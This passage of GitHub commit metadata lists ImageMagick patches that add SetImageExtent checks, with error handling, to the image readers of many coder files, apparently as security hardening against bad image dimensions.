"https://github.com/ImageMagick/ImageMagick/raw/f6e9d0d9955e85bdd7540b251cd50d598dacc5e6/coders/pict.c", "contents_url": "https://api.github.com/repos/ImageMagick/ImageMagick/contents/coders/pict.c?ref=f6e9d0d9955e85bdd7540b251cd50d598dacc5e6", "patch": "@@ -922,6 +922,12 @@ static Image *ReadPICTImage(const ImageInfo *image_info,\n if ((image_info->ping != MagickFalse) && (image_info->number_scenes != 0))\n if (image->scene >= (image_info->scene+image_info->number_scenes-1))\n break;\n+ status=SetImageExtent(image,image->columns,image->rows);\n+ if (status == MagickFalse)\n+ {\n+ InheritException(exception,&image->exception);\n+ return(DestroyImageList(image));\n+ }\n if ((version == 1) || ((TellBlob(image) % 2) != 0))\n code=ReadBlobByte(image);\n if (version == 2)"}<_**next**_>{"sha": "217ccdfc56f92a3d0fe0eed7134834b7a2e4c786", "filename": "coders/pix.c", "status": "modified", "additions": 6, "deletions": 0, "changes": 6, "blob_url": "https://github.com/ImageMagick/ImageMagick/blob/f6e9d0d9955e85bdd7540b251cd50d598dacc5e6/coders/pix.c", "raw_url": "https://github.com/ImageMagick/ImageMagick/raw/f6e9d0d9955e85bdd7540b251cd50d598dacc5e6/coders/pix.c", "contents_url": "https://api.github.com/repos/ImageMagick/ImageMagick/contents/coders/pix.c?ref=f6e9d0d9955e85bdd7540b251cd50d598dacc5e6", "patch": "@@ -161,6 +161,12 @@ static Image *ReadPIXImage(const ImageInfo *image_info,ExceptionInfo *exception)\n if ((image_info->ping != MagickFalse) && (image_info->number_scenes != 0))\n if (image->scene >= (image_info->scene+image_info->number_scenes-1))\n break;\n+ status=SetImageExtent(image,image->columns,image->rows);\n+ if (status == MagickFalse)\n+ {\n+ InheritException(exception,&image->exception);\n+ return(DestroyImageList(image));\n+ }\n /*\n Convert PIX raster image to pixel packets.\n */"}<_**next**_>{"sha": "945e5f81dc759911341d4976de98abb845009fc9", "filename": "coders/psd.c", "status": "modified", "additions": 6, "deletions": 0, "changes": 6, "blob_url": "https://github.com/ImageMagick/ImageMagick/blob/f6e9d0d9955e85bdd7540b251cd50d598dacc5e6/coders/psd.c", "raw_url": "https://github.com/ImageMagick/ImageMagick/raw/f6e9d0d9955e85bdd7540b251cd50d598dacc5e6/coders/psd.c", "contents_url": "https://api.github.com/repos/ImageMagick/ImageMagick/contents/coders/psd.c?ref=f6e9d0d9955e85bdd7540b251cd50d598dacc5e6", "patch": "@@ -1653,6 +1653,12 @@ static Image *ReadPSDImage(const ImageInfo *image_info,\n image->depth=psd_info.depth;\n image->columns=psd_info.columns;\n image->rows=psd_info.rows;\n+ status=SetImageExtent(image,image->columns,image->rows);\n+ if (status == MagickFalse)\n+ {\n+ InheritException(exception,&image->exception);\n+ return(DestroyImageList(image));\n+ }\n if (SetImageBackgroundColor(image) == MagickFalse)\n {\n InheritException(exception,&image->exception);"}<_**next**_>{"sha": "8de167a2c7afc56559080ee58336fa3c1cb0de9e", "filename": "coders/raw.c", "status": "modified", "additions": 6, "deletions": 0, "changes": 6, "blob_url": "https://github.com/ImageMagick/ImageMagick/blob/f6e9d0d9955e85bdd7540b251cd50d598dacc5e6/coders/raw.c", "raw_url": "https://github.com/ImageMagick/ImageMagick/raw/f6e9d0d9955e85bdd7540b251cd50d598dacc5e6/coders/raw.c", "contents_url": "https://api.github.com/repos/ImageMagick/ImageMagick/contents/coders/raw.c?ref=f6e9d0d9955e85bdd7540b251cd50d598dacc5e6", "patch": "@@ -180,6 +180,12 @@ static Image *ReadRAWImage(const ImageInfo *image_info,ExceptionInfo *exception)\n if ((image_info->ping != MagickFalse) && (image_info->number_scenes != 0))\n if (image->scene >= (image_info->scene+image_info->number_scenes-1))\n break;\n+ status=SetImageExtent(image,image->columns,image->rows);\n+ if (status == MagickFalse)\n+ {\n+ InheritException(exception,&image->exception);\n+ return(DestroyImageList(image));\n+ }\n if (scene == 0)\n {\n length=GetQuantumExtent(canvas_image,quantum_info,quantum_type);"}<_**next**_>{"sha": "cb2376cc726c06f2d74458b0b69dd5ea99d67890", "filename": "coders/rgb.c", "status": "modified", "additions": 6, "deletions": 0, "changes": 6, "blob_url": "https://github.com/ImageMagick/ImageMagick/blob/f6e9d0d9955e85bdd7540b251cd50d598dacc5e6/coders/rgb.c", "raw_url": "https://github.com/ImageMagick/ImageMagick/raw/f6e9d0d9955e85bdd7540b251cd50d598dacc5e6/coders/rgb.c", "contents_url": "https://api.github.com/repos/ImageMagick/ImageMagick/contents/coders/rgb.c?ref=f6e9d0d9955e85bdd7540b251cd50d598dacc5e6", "patch": "@@ -201,6 +201,12 @@ static Image *ReadRGBImage(const ImageInfo *image_info,ExceptionInfo *exception)\n if ((image_info->ping != MagickFalse) && (image_info->number_scenes != 0))\n if (image->scene >= (image_info->scene+image_info->number_scenes-1))\n break;\n+ status=SetImageExtent(image,image->columns,image->rows);\n+ if (status == MagickFalse)\n+ {\n+ InheritException(exception,&image->exception);\n+ return(DestroyImageList(image));\n+ }\n switch (image_info->interlace)\n {\n case NoInterlace:"}<_**next**_>{"sha": "b3ec2495d8d72e74f40415a920dcb6905cdeafe1", "filename": "coders/rgf.c", "status": "modified", "additions": 6, "deletions": 2, "changes": 8, "blob_url": "https://github.com/ImageMagick/ImageMagick/blob/f6e9d0d9955e85bdd7540b251cd50d598dacc5e6/coders/rgf.c", "raw_url": "https://github.com/ImageMagick/ImageMagick/raw/f6e9d0d9955e85bdd7540b251cd50d598dacc5e6/coders/rgf.c", "contents_url": "https://api.github.com/repos/ImageMagick/ImageMagick/contents/coders/rgf.c?ref=f6e9d0d9955e85bdd7540b251cd50d598dacc5e6", "patch": "@@ -172,8 +172,12 @@ static Image *ReadRGFImage(const ImageInfo *image_info,ExceptionInfo *exception)\n (void) CloseBlob(image);\n return(GetFirstImageInList(image));\n }\n-\n-\n+ status=SetImageExtent(image,image->columns,image->rows);\n+ if (status == MagickFalse)\n+ {\n+ InheritException(exception,&image->exception);\n+ return(DestroyImageList(image));\n+ }\n /*\n Read hex image data.\n */"}<_**next**_>{"sha": "7145d66ddaba0908b75d25aba610c8e795c762ae", "filename": "coders/rla.c", "status": "modified", "additions": 6, "deletions": 0, "changes": 6, "blob_url": "https://github.com/ImageMagick/ImageMagick/blob/f6e9d0d9955e85bdd7540b251cd50d598dacc5e6/coders/rla.c", "raw_url": "https://github.com/ImageMagick/ImageMagick/raw/f6e9d0d9955e85bdd7540b251cd50d598dacc5e6/coders/rla.c", "contents_url": "https://api.github.com/repos/ImageMagick/ImageMagick/contents/coders/rla.c?ref=f6e9d0d9955e85bdd7540b251cd50d598dacc5e6", "patch": "@@ -261,6 +261,12 @@ static Image *ReadRLAImage(const ImageInfo *image_info,ExceptionInfo *exception)\n (void) CloseBlob(image);\n return(GetFirstImageInList(image));\n }\n+ status=SetImageExtent(image,image->columns,image->rows);\n+ if (status == MagickFalse)\n+ {\n+ InheritException(exception,&image->exception);\n+ return(DestroyImageList(image));\n+ }\n scanlines=(ssize_t *) AcquireQuantumMemory(image->rows,sizeof(*scanlines));\n if (scanlines == (ssize_t *) NULL)\n ThrowReaderException(ResourceLimitError,\"MemoryAllocationFailed\");"}<_**next**_>{"sha": "22f38c9fd8714b34f8be59ff43661b4cb2c25fc4", "filename": "coders/rle.c", "status": "modified", "additions": 6, "deletions": 0, "changes": 6, "blob_url": "https://github.com/ImageMagick/ImageMagick/blob/f6e9d0d9955e85bdd7540b251cd50d598dacc5e6/coders/rle.c", "raw_url": "https://github.com/ImageMagick/ImageMagick/raw/f6e9d0d9955e85bdd7540b251cd50d598dacc5e6/coders/rle.c", "contents_url": "https://api.github.com/repos/ImageMagick/ImageMagick/contents/coders/rle.c?ref=f6e9d0d9955e85bdd7540b251cd50d598dacc5e6", "patch": "@@ -293,6 +293,12 @@ static Image *ReadRLEImage(const ImageInfo *image_info,ExceptionInfo *exception)\n if ((image_info->ping != MagickFalse) && (image_info->number_scenes != 0))\n if (image->scene >= (image_info->scene+image_info->number_scenes-1))\n break;\n+ status=SetImageExtent(image,image->columns,image->rows);\n+ if (status == MagickFalse)\n+ {\n+ InheritException(exception,&image->exception);\n+ return(DestroyImageList(image));\n+ }\n /*\n Allocate RLE pixels.\n */"}<_**next**_>{"sha": "d52197002172ef6557b989041cdeb44f8ecd5a88", "filename": "coders/scr.c", "status": "modified", "additions": 6, "deletions": 0, "changes": 6, "blob_url": "https://github.com/ImageMagick/ImageMagick/blob/f6e9d0d9955e85bdd7540b251cd50d598dacc5e6/coders/scr.c", "raw_url": "https://github.com/ImageMagick/ImageMagick/raw/f6e9d0d9955e85bdd7540b251cd50d598dacc5e6/coders/scr.c", "contents_url": "https://api.github.com/repos/ImageMagick/ImageMagick/contents/coders/scr.c?ref=f6e9d0d9955e85bdd7540b251cd50d598dacc5e6", "patch": "@@ -156,6 +156,12 @@ static Image *ReadSCRImage(const ImageInfo *image_info,ExceptionInfo *exception)\n }\n image->columns = 256;\n image->rows = 192;\n+ status=SetImageExtent(image,image->columns,image->rows);\n+ if (status == MagickFalse)\n+ {\n+ InheritException(exception,&image->exception);\n+ return(DestroyImageList(image));\n+ }\n count=ReadBlob(image,6144,(unsigned char *) zxscr);\n (void) count;\n count=ReadBlob(image,768,(unsigned char *) zxattr);"}<_**next**_>{"sha": "69bf7b4013608110d07f2beb27440dde34f1f0f4", "filename": "coders/screenshot.c", "status": "modified", "additions": 9, "deletions": 1, "changes": 10, "blob_url": "https://github.com/ImageMagick/ImageMagick/blob/f6e9d0d9955e85bdd7540b251cd50d598dacc5e6/coders/screenshot.c", "raw_url": "https://github.com/ImageMagick/ImageMagick/raw/f6e9d0d9955e85bdd7540b251cd50d598dacc5e6/coders/screenshot.c", "contents_url": "https://api.github.com/repos/ImageMagick/ImageMagick/contents/coders/screenshot.c?ref=f6e9d0d9955e85bdd7540b251cd50d598dacc5e6", "patch": "@@ -133,6 +133,9 @@ static Image *ReadSCREENSHOTImage(const ImageInfo *image_info,\n int\n i;\n \n+ MagickBooleanType\n+ status;\n+\n register PixelPacket\n *q;\n \n@@ -162,7 +165,12 @@ static Image *ReadSCREENSHOTImage(const ImageInfo *image_info,\n screen->columns=(size_t) GetDeviceCaps(hDC,HORZRES);\n screen->rows=(size_t) GetDeviceCaps(hDC,VERTRES);\n screen->storage_class=DirectClass;\n-\n+ status=SetImageExtent(image,image->columns,image->rows);\n+ if (status == MagickFalse)\n+ {\n+ InheritException(exception,&image->exception);\n+ return(DestroyImageList(image));\n+ }\n if (image == (Image *) NULL)\n image=screen;\n else"}<_**next**_>{"sha": "1c31f9ff128708610c07a1e63d3e233fb41ffb27", "filename": "coders/sct.c", "status": "modified", "additions": 6, "deletions": 0, "changes": 6, "blob_url": "https://github.com/ImageMagick/ImageMagick/blob/f6e9d0d9955e85bdd7540b251cd50d598dacc5e6/coders/sct.c", "raw_url": "https://github.com/ImageMagick/ImageMagick/raw/f6e9d0d9955e85bdd7540b251cd50d598dacc5e6/coders/sct.c", "contents_url": "https://api.github.com/repos/ImageMagick/ImageMagick/contents/coders/sct.c?ref=f6e9d0d9955e85bdd7540b251cd50d598dacc5e6", "patch": "@@ -224,6 +224,12 @@ static Image *ReadSCTImage(const ImageInfo *image_info,ExceptionInfo *exception)\n (void) CloseBlob(image);\n return(GetFirstImageInList(image));\n }\n+ status=SetImageExtent(image,image->columns,image->rows);\n+ if (status == MagickFalse)\n+ {\n+ InheritException(exception,&image->exception);\n+ return(DestroyImageList(image));\n+ }\n /*\n Convert SCT raster image to pixel packets.\n */"}<_**next**_>{"sha": "d2e8a60421c5003c424d7d95d41b66b8eb2a121b", "filename": "coders/sgi.c", "status": "modified", "additions": 6, "deletions": 0, "changes": 6, "blob_url": "https://github.com/ImageMagick/ImageMagick/blob/f6e9d0d9955e85bdd7540b251cd50d598dacc5e6/coders/sgi.c", "raw_url": "https://github.com/ImageMagick/ImageMagick/raw/f6e9d0d9955e85bdd7540b251cd50d598dacc5e6/coders/sgi.c", "contents_url": "https://api.github.com/repos/ImageMagick/ImageMagick/contents/coders/sgi.c?ref=f6e9d0d9955e85bdd7540b251cd50d598dacc5e6", "patch": "@@ -374,6 +374,12 @@ static Image *ReadSGIImage(const ImageInfo *image_info,ExceptionInfo *exception)\n if ((image_info->ping != MagickFalse) && (image_info->number_scenes != 0))\n if (image->scene >= (image_info->scene+image_info->number_scenes-1))\n break;\n+ status=SetImageExtent(image,image->columns,image->rows);\n+ if (status == MagickFalse)\n+ {\n+ InheritException(exception,&image->exception);\n+ return(DestroyImageList(image));\n+ }\n /*\n Allocate SGI pixels.\n */"}<_**next**_>{"sha": "886fa409f57a095268094a4e54e40f3d2362ed72", "filename": "coders/sixel.c", "status": "modified", "additions": 6, "deletions": 1, "changes": 7, "blob_url": "https://github.com/ImageMagick/ImageMagick/blob/f6e9d0d9955e85bdd7540b251cd50d598dacc5e6/coders/sixel.c", "raw_url": "https://github.com/ImageMagick/ImageMagick/raw/f6e9d0d9955e85bdd7540b251cd50d598dacc5e6/coders/sixel.c", "contents_url": "https://api.github.com/repos/ImageMagick/ImageMagick/contents/coders/sixel.c?ref=f6e9d0d9955e85bdd7540b251cd50d598dacc5e6", "patch": "@@ -1027,7 +1027,12 @@ static Image *ReadSIXELImage(const ImageInfo *image_info,ExceptionInfo *exceptio\n sixel_buffer=(char *) RelinquishMagickMemory(sixel_buffer);\n image->depth=24;\n image->storage_class=PseudoClass;\n-\n+ status=SetImageExtent(image,image->columns,image->rows);\n+ if (status == MagickFalse)\n+ {\n+ InheritException(exception,&image->exception);\n+ return(DestroyImageList(image));\n+ }\n if (AcquireImageColormap(image,image->colors) == MagickFalse)\n {\n sixel_pixels=(unsigned char *) RelinquishMagickMemory(sixel_pixels);"}<_**next**_>{"sha": "464c31648bd9f432d03130105285193789f0e70f", "filename": "coders/stegano.c", "status": "modified", "additions": 6, "deletions": 0, "changes": 6, "blob_url": "https://github.com/ImageMagick/ImageMagick/blob/f6e9d0d9955e85bdd7540b251cd50d598dacc5e6/coders/stegano.c", "raw_url": "https://github.com/ImageMagick/ImageMagick/raw/f6e9d0d9955e85bdd7540b251cd50d598dacc5e6/coders/stegano.c", "contents_url": "https://api.github.com/repos/ImageMagick/ImageMagick/contents/coders/stegano.c?ref=f6e9d0d9955e85bdd7540b251cd50d598dacc5e6", "patch": "@@ -169,6 +169,12 @@ static Image *ReadSTEGANOImage(const ImageInfo *image_info,\n (void) CloseBlob(image);\n return(GetFirstImageInList(image));\n }\n+ status=SetImageExtent(image,image->columns,image->rows);\n+ if (status == MagickFalse)\n+ {\n+ InheritException(exception,&image->exception);\n+ return(DestroyImageList(image));\n+ }\n /*\n Get hidden watermark from low-order bits of image.\n */"}<_**next**_>{"sha": "453775a8a309fdc77a42de62b9572129795df4e9", "filename": "coders/sun.c", "status": "modified", "additions": 6, "deletions": 0, "changes": 6, "blob_url": "https://github.com/ImageMagick/ImageMagick/blob/f6e9d0d9955e85bdd7540b251cd50d598dacc5e6/coders/sun.c", "raw_url": "https://github.com/ImageMagick/ImageMagick/raw/f6e9d0d9955e85bdd7540b251cd50d598dacc5e6/coders/sun.c", "contents_url": "https://api.github.com/repos/ImageMagick/ImageMagick/contents/coders/sun.c?ref=f6e9d0d9955e85bdd7540b251cd50d598dacc5e6", "patch": "@@ -412,6 +412,12 @@ static Image *ReadSUNImage(const ImageInfo *image_info,ExceptionInfo *exception)\n (void) CloseBlob(image);\n return(GetFirstImageInList(image));\n }\n+ status=SetImageExtent(image,image->columns,image->rows);\n+ if (status == MagickFalse)\n+ {\n+ InheritException(exception,&image->exception);\n+ return(DestroyImageList(image));\n+ }\n if ((sun_info.length*sizeof(*sun_data))/sizeof(*sun_data) !=\n sun_info.length || !sun_info.length)\n ThrowReaderException(ResourceLimitError,\"MemoryAllocationFailed\");"}<_**next**_>{"sha": "b2267d69a17aa301e297e425b0666f82a29e792e", "filename": "coders/svg.c", "status": "modified", "additions": 6, "deletions": 0, "changes": 6, "blob_url": "https://github.com/ImageMagick/ImageMagick/blob/f6e9d0d9955e85bdd7540b251cd50d598dacc5e6/coders/svg.c", "raw_url": "https://github.com/ImageMagick/ImageMagick/raw/f6e9d0d9955e85bdd7540b251cd50d598dacc5e6/coders/svg.c", "contents_url": "https://api.github.com/repos/ImageMagick/ImageMagick/contents/coders/svg.c?ref=f6e9d0d9955e85bdd7540b251cd50d598dacc5e6", "patch": "@@ -2945,6 +2945,12 @@ static Image *ReadSVGImage(const ImageInfo *image_info,ExceptionInfo *exception)\n image->columns=gdk_pixbuf_get_width(pixel_buffer);\n image->rows=gdk_pixbuf_get_height(pixel_buffer);\n #endif\n+ status=SetImageExtent(image,image->columns,image->rows);\n+ if (status == MagickFalse)\n+ {\n+ InheritException(exception,&image->exception);\n+ return(DestroyImageList(image));\n+ }\n image->matte=MagickTrue;\n SetImageProperty(image,\"svg:base-uri\",\n rsvg_handle_get_base_uri(svg_handle));"}<_**next**_>{"sha": "243bc3e9593d2d146c771ca091407944474b0039", "filename": "coders/tga.c", "status": "modified", "additions": 6, "deletions": 0, "changes": 6, "blob_url": "https://github.com/ImageMagick/ImageMagick/blob/f6e9d0d9955e85bdd7540b251cd50d598dacc5e6/coders/tga.c", "raw_url": "https://github.com/ImageMagick/ImageMagick/raw/f6e9d0d9955e85bdd7540b251cd50d598dacc5e6/coders/tga.c", "contents_url": "https://api.github.com/repos/ImageMagick/ImageMagick/contents/coders/tga.c?ref=f6e9d0d9955e85bdd7540b251cd50d598dacc5e6", "patch": "@@ -307,6 +307,12 @@ static Image *ReadTGAImage(const ImageInfo *image_info,\n (void) CloseBlob(image);\n return(image);\n }\n+ status=SetImageExtent(image,image->columns,image->rows);\n+ if (status == MagickFalse)\n+ {\n+ InheritException(exception,&image->exception);\n+ return(DestroyImageList(image));\n+ }\n (void) ResetMagickMemory(&pixel,0,sizeof(pixel));\n pixel.opacity=(Quantum) OpaqueOpacity;\n if (tga_info.colormap_type != 0)"}<_**next**_>{"sha": "a3fa0d80b9b9c4de62dfc7cc43d99e96cb0a436f", "filename": "coders/tiff.c", "status": "modified", "additions": 6, "deletions": 0, "changes": 6, "blob_url": "https://github.com/ImageMagick/ImageMagick/blob/f6e9d0d9955e85bdd7540b251cd50d598dacc5e6/coders/tiff.c", "raw_url": "https://github.com/ImageMagick/ImageMagick/raw/f6e9d0d9955e85bdd7540b251cd50d598dacc5e6/coders/tiff.c", "contents_url": "https://api.github.com/repos/ImageMagick/ImageMagick/contents/coders/tiff.c?ref=f6e9d0d9955e85bdd7540b251cd50d598dacc5e6", "patch": "@@ -1195,6 +1195,12 @@ RestoreMSCWarning\n image->columns=(size_t) width;\n image->rows=(size_t) height;\n image->depth=(size_t) bits_per_sample;\n+ status=SetImageExtent(image,image->columns,image->rows);\n+ if (status == MagickFalse)\n+ {\n+ InheritException(exception,&image->exception);\n+ return(DestroyImageList(image));\n+ }\n if (image->debug != MagickFalse)\n (void) LogMagickEvent(CoderEvent,GetMagickModule(),\"Image depth: %.20g\",\n (double) image->depth);"}<_**next**_>{"sha": "02c17c9d07177edbd2bd8225281ef9e720c1a33f", "filename": "coders/tile.c", "status": "modified", "additions": 9, "deletions": 0, "changes": 9, "blob_url": "https://github.com/ImageMagick/ImageMagick/blob/f6e9d0d9955e85bdd7540b251cd50d598dacc5e6/coders/tile.c", "raw_url": "https://github.com/ImageMagick/ImageMagick/raw/f6e9d0d9955e85bdd7540b251cd50d598dacc5e6/coders/tile.c", "contents_url": "https://api.github.com/repos/ImageMagick/ImageMagick/contents/coders/tile.c?ref=f6e9d0d9955e85bdd7540b251cd50d598dacc5e6", "patch": "@@ -95,6 +95,9 @@ static Image *ReadTILEImage(const ImageInfo *image_info,\n ImageInfo\n *read_info;\n \n+ MagickBooleanType\n+ status;\n+\n /*\n Initialize Image structure.\n */\n@@ -115,6 +118,12 @@ static Image *ReadTILEImage(const ImageInfo *image_info,\n image=AcquireImage(image_info);\n if ((image->columns == 0) || (image->rows == 0))\n ThrowReaderException(OptionError,\"MustSpecifyImageSize\");\n+ status=SetImageExtent(image,image->columns,image->rows);\n+ if (status == MagickFalse)\n+ {\n+ InheritException(exception,&image->exception);\n+ return(DestroyImageList(image));\n+ }\n if (*image_info->filename == '\\0')\n ThrowReaderException(OptionError,\"MustSpecifyAnImageName\");\n image->colorspace=tile_image->colorspace;"}<_**next**_>{"sha": "17dcaaf813819408dfb8f5f2b2337ec36e2308fe", "filename": "coders/tim.c", "status": "modified", "additions": 6, "deletions": 0, "changes": 6, "blob_url": "https://github.com/ImageMagick/ImageMagick/blob/f6e9d0d9955e85bdd7540b251cd50d598dacc5e6/coders/tim.c", "raw_url": "https://github.com/ImageMagick/ImageMagick/raw/f6e9d0d9955e85bdd7540b251cd50d598dacc5e6/coders/tim.c", "contents_url": "https://api.github.com/repos/ImageMagick/ImageMagick/contents/coders/tim.c?ref=f6e9d0d9955e85bdd7540b251cd50d598dacc5e6", "patch": "@@ -223,6 +223,12 @@ static Image *ReadTIMImage(const ImageInfo *image_info,ExceptionInfo *exception)\n if ((image_info->ping != MagickFalse) && (image_info->number_scenes != 0))\n if (image->scene >= (image_info->scene+image_info->number_scenes-1))\n break;\n+ status=SetImageExtent(image,image->columns,image->rows);\n+ if (status == MagickFalse)\n+ {\n+ InheritException(exception,&image->exception);\n+ return(DestroyImageList(image));\n+ }\n /*\n Read image data.\n */"}<_**next**_>{"sha": "837dc4b4c4322f07b55314bb17a8c82674256671", "filename": "coders/ttf.c", "status": "modified", "additions": 6, "deletions": 0, "changes": 6, "blob_url": "https://github.com/ImageMagick/ImageMagick/blob/f6e9d0d9955e85bdd7540b251cd50d598dacc5e6/coders/ttf.c", "raw_url": "https://github.com/ImageMagick/ImageMagick/raw/f6e9d0d9955e85bdd7540b251cd50d598dacc5e6/coders/ttf.c", "contents_url": "https://api.github.com/repos/ImageMagick/ImageMagick/contents/coders/ttf.c?ref=f6e9d0d9955e85bdd7540b251cd50d598dacc5e6", "patch": "@@ -225,6 +225,12 @@ static Image *ReadTTFImage(const ImageInfo *image_info,ExceptionInfo *exception)\n image=DestroyImageList(image);\n return((Image *) NULL);\n }\n+ status=SetImageExtent(image,image->columns,image->rows);\n+ if (status == MagickFalse)\n+ {\n+ InheritException(exception,&image->exception);\n+ return(DestroyImageList(image));\n+ }\n /*\n Color canvas with background color\n */"}<_**next**_>{"sha": "8a1a37124c9e5c82d9b010875d3060adb471af22", "filename": "coders/txt.c", "status": "modified", "additions": 12, "deletions": 0, "changes": 12, "blob_url": "https://github.com/ImageMagick/ImageMagick/blob/f6e9d0d9955e85bdd7540b251cd50d598dacc5e6/coders/txt.c", "raw_url": "https://github.com/ImageMagick/ImageMagick/raw/f6e9d0d9955e85bdd7540b251cd50d598dacc5e6/coders/txt.c", "contents_url": "https://api.github.com/repos/ImageMagick/ImageMagick/contents/coders/txt.c?ref=f6e9d0d9955e85bdd7540b251cd50d598dacc5e6", "patch": "@@ -228,6 +228,12 @@ static Image *ReadTEXTImage(const ImageInfo *image_info,Image *image,\n delta.x)+0.5);\n image->rows=(size_t) floor((((double) page.height*image->y_resolution)/\n delta.y)+0.5);\n+ status=SetImageExtent(image,image->columns,image->rows);\n+ if (status == MagickFalse)\n+ {\n+ InheritException(exception,&image->exception);\n+ return(DestroyImageList(image));\n+ }\n image->page.x=0;\n image->page.y=0;\n texture=(Image *) NULL;\n@@ -437,6 +443,12 @@ static Image *ReadTXTImage(const ImageInfo *image_info,ExceptionInfo *exception)\n image->rows=height;\n for (depth=1; (GetQuantumRange(depth)+1) < max_value; depth++) ;\n image->depth=depth;\n+ status=SetImageExtent(image,image->columns,image->rows);\n+ if (status == MagickFalse)\n+ {\n+ InheritException(exception,&image->exception);\n+ return(DestroyImageList(image));\n+ }\n LocaleLower(colorspace);\n i=(ssize_t) strlen(colorspace)-1;\n image->matte=MagickFalse;"}<_**next**_>{"sha": "205fc3b92676995a364a1b9a84b7dfffd0990e8d", "filename": "coders/uyvy.c", "status": "modified", "additions": 6, "deletions": 0, "changes": 6, "blob_url": "https://github.com/ImageMagick/ImageMagick/blob/f6e9d0d9955e85bdd7540b251cd50d598dacc5e6/coders/uyvy.c", "raw_url": "https://github.com/ImageMagick/ImageMagick/raw/f6e9d0d9955e85bdd7540b251cd50d598dacc5e6/coders/uyvy.c", "contents_url": "https://api.github.com/repos/ImageMagick/ImageMagick/contents/coders/uyvy.c?ref=f6e9d0d9955e85bdd7540b251cd50d598dacc5e6", "patch": "@@ -145,6 +145,12 @@ static Image *ReadUYVYImage(const ImageInfo *image_info,\n (void) CloseBlob(image);\n return(GetFirstImageInList(image));\n }\n+ status=SetImageExtent(image,image->columns,image->rows);\n+ if (status == MagickFalse)\n+ {\n+ InheritException(exception,&image->exception);\n+ return(DestroyImageList(image));\n+ }\n /*\n Accumulate UYVY, then unpack into two pixels.\n */"}<_**next**_>{"sha": "12ef0414328a8d4af14f9e28b0226fae19acf2b7", "filename": "coders/vicar.c", "status": "modified", "additions": 6, "deletions": 0, "changes": 6, "blob_url": "https://github.com/ImageMagick/ImageMagick/blob/f6e9d0d9955e85bdd7540b251cd50d598dacc5e6/coders/vicar.c", "raw_url": "https://github.com/ImageMagick/ImageMagick/raw/f6e9d0d9955e85bdd7540b251cd50d598dacc5e6/coders/vicar.c", "contents_url": "https://api.github.com/repos/ImageMagick/ImageMagick/contents/coders/vicar.c?ref=f6e9d0d9955e85bdd7540b251cd50d598dacc5e6", "patch": "@@ -285,6 +285,12 @@ static Image *ReadVICARImage(const ImageInfo *image_info,\n (void) CloseBlob(image);\n return(GetFirstImageInList(image));\n }\n+ status=SetImageExtent(image,image->columns,image->rows);\n+ if (status == MagickFalse)\n+ {\n+ InheritException(exception,&image->exception);\n+ return(DestroyImageList(image));\n+ }\n /*\n Read VICAR pixels.\n */"}<_**next**_>{"sha": "161da069b78a2e033e19dae2f79cac73b6c65f56", "filename": "coders/viff.c", "status": "modified", "additions": 6, "deletions": 0, "changes": 6, "blob_url": "https://github.com/ImageMagick/ImageMagick/blob/f6e9d0d9955e85bdd7540b251cd50d598dacc5e6/coders/viff.c", "raw_url": "https://github.com/ImageMagick/ImageMagick/raw/f6e9d0d9955e85bdd7540b251cd50d598dacc5e6/coders/viff.c", "contents_url": "https://api.github.com/repos/ImageMagick/ImageMagick/contents/coders/viff.c?ref=f6e9d0d9955e85bdd7540b251cd50d598dacc5e6", "patch": "@@ -478,6 +478,12 @@ static Image *ReadVIFFImage(const ImageInfo *image_info,\n if ((image_info->ping != MagickFalse) && (image_info->number_scenes != 0))\n if (image->scene >= (image_info->scene+image_info->number_scenes-1))\n break;\n+ status=SetImageExtent(image,image->columns,image->rows);\n+ if (status == MagickFalse)\n+ {\n+ InheritException(exception,&image->exception);\n+ return(DestroyImageList(image));\n+ }\n /*\n Allocate VIFF pixels.\n */"}<_**next**_>{"sha": "2046164d858c78b3c4b13a25a0b04e4ad37f5c01", "filename": "coders/vips.c", "status": "modified", "additions": 6, "deletions": 0, "changes": 6, "blob_url": "https://github.com/ImageMagick/ImageMagick/blob/f6e9d0d9955e85bdd7540b251cd50d598dacc5e6/coders/vips.c", "raw_url": "https://github.com/ImageMagick/ImageMagick/raw/f6e9d0d9955e85bdd7540b251cd50d598dacc5e6/coders/vips.c", "contents_url": "https://api.github.com/repos/ImageMagick/ImageMagick/contents/coders/vips.c?ref=f6e9d0d9955e85bdd7540b251cd50d598dacc5e6", "patch": "@@ -416,6 +416,12 @@ static Image *ReadVIPSImage(const ImageInfo *image_info,\n ThrowReaderException(CorruptImageError,\"ImproperImageHeader\");\n image->columns=(size_t) ReadBlobLong(image);\n image->rows=(size_t) ReadBlobLong(image);\n+ status=SetImageExtent(image,image->columns,image->rows);\n+ if (status == MagickFalse)\n+ {\n+ InheritException(exception,&image->exception);\n+ return(DestroyImageList(image));\n+ }\n channels=ReadBlobLong(image);\n (void) ReadBlobLong(image); /* Legacy */\n format=(VIPSBandFormat) ReadBlobLong(image);"}<_**next**_>{"sha": "9c3d87096644d3caac70a22b904d1f918e7c2e43", "filename": "coders/wbmp.c", "status": "modified", "additions": 6, "deletions": 0, "changes": 6, "blob_url": "https://github.com/ImageMagick/ImageMagick/blob/f6e9d0d9955e85bdd7540b251cd50d598dacc5e6/coders/wbmp.c", "raw_url": "https://github.com/ImageMagick/ImageMagick/raw/f6e9d0d9955e85bdd7540b251cd50d598dacc5e6/coders/wbmp.c", "contents_url": "https://api.github.com/repos/ImageMagick/ImageMagick/contents/coders/wbmp.c?ref=f6e9d0d9955e85bdd7540b251cd50d598dacc5e6", "patch": "@@ -185,6 +185,12 @@ static Image *ReadWBMPImage(const ImageInfo *image_info,\n (void) CloseBlob(image);\n return(GetFirstImageInList(image));\n }\n+ status=SetImageExtent(image,image->columns,image->rows);\n+ if (status == MagickFalse)\n+ {\n+ InheritException(exception,&image->exception);\n+ return(DestroyImageList(image));\n+ }\n /*\n Convert bi-level image to pixel packets.\n */"}<_**next**_>{"sha": "161aa9c09316b1c719137db0bbbfc857ccda5bac", "filename": "coders/webp.c", "status": "modified", "additions": 6, "deletions": 0, "changes": 6, "blob_url": "https://github.com/ImageMagick/ImageMagick/blob/f6e9d0d9955e85bdd7540b251cd50d598dacc5e6/coders/webp.c", "raw_url": "https://github.com/ImageMagick/ImageMagick/raw/f6e9d0d9955e85bdd7540b251cd50d598dacc5e6/coders/webp.c", "contents_url": "https://api.github.com/repos/ImageMagick/ImageMagick/contents/coders/webp.c?ref=f6e9d0d9955e85bdd7540b251cd50d598dacc5e6", "patch": "@@ -286,6 +286,12 @@ static Image *ReadWEBPImage(const ImageInfo *image_info,\n (void) CloseBlob(image);\n return(GetFirstImageInList(image));\n }\n+ status=SetImageExtent(image,image->columns,image->rows);\n+ if (status == 